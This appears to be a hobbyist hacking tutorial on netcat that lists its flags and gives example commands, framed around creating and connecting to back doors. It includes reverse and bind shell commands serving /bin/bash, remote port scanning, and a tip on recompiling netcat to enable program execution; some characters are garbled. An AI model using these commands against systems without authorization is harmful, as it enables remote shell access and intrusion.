More Fun with NETCAT!!

  • More Fun with NETCAT!!

This Post goes over the basic netcat commands and how to use them. It also goes over some basic batch commands as well.

Step 1: Getting Netcat

Now, the first thing I like to have is netcat on my own computer. Don’t be afraid to install it. Netcat is not a back door in itself, but can be used to create a back door. Netcat is basically Ms-DOS on steroids, so if you are serious about hacking, you should get netcat.

To get netcat, go to google and search for it, if you are using windows, you should google windows netcat for the .exe

After you have the .exe, take this and place it in your Windows System32 file, so that you can run it from cmd prompt.

After this, you can just type in nc at cmd prompt to use it,

For an example, if you wanted to get into a back door you installed, you would use the command

nc -v <IP_HERE> <PORT HERE>

I will get into more commands in the next step.

Step 2: Basic Netcat commands

-e prog inbound program to exec (dangerous!!)
-g gateway source-routing hop point(s), up to 8
-G num source-routing pointer: 4, 8, 12, …
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose (use twice to be more verbose)
-w secs timeout for connects and final net reads
-z zero-I/O mode (used for scanning)
port numbers can be individual or ranges: m-n (inclusive)

Connect to a port on a remote host
nc remote_host <port>

Connect to multiple ports on a remote host
nc remote_host <port>…<port>

For example:
nc www.somecompanyasanexample.com 21 25 80

Listen on a port for incoming connections(Also know as A Back Door)
nc -v -l -p <port>

Connect to remote host and serve a bash shell

nc remote_ip <port> -e /bin/bash

Note : Netcat does not support the -e flag by default. To
make Netcat support the -e flag, it must be re-compiled with
the DGAPING_SECURITY_HOLE option

Listen on a port and serve a bash shell upon connect
nc -v -l -p <port> -e /bin/bash


Note :
 Netcat does not support the -e flag by default. To make Netcat support the -e flag, it must be re-compiled with the DGAPING_SECURITY_HOLE option

Port scan a remote host
nc -v -z remote_host <port>-<port>

Use the -i flag to set a delay interval:
nc -Âœi <seconds> -v -z remote_host
<port>-<port>

Pipe command output to a netcat request
<command> | nc remote_host <port>

For example:
echo “GET / HTTP/1.0
(enter)
(enter)
“| nc www.somecompanyasanexample.com 80

Use source-routing to connect to a port on a remote host
nc -Âœg <gateway> remote_host <port>
Note: Up to eight hop points may be specified using the -g flag.
Use the -ÂœG flag to specify the source-routing pointer.

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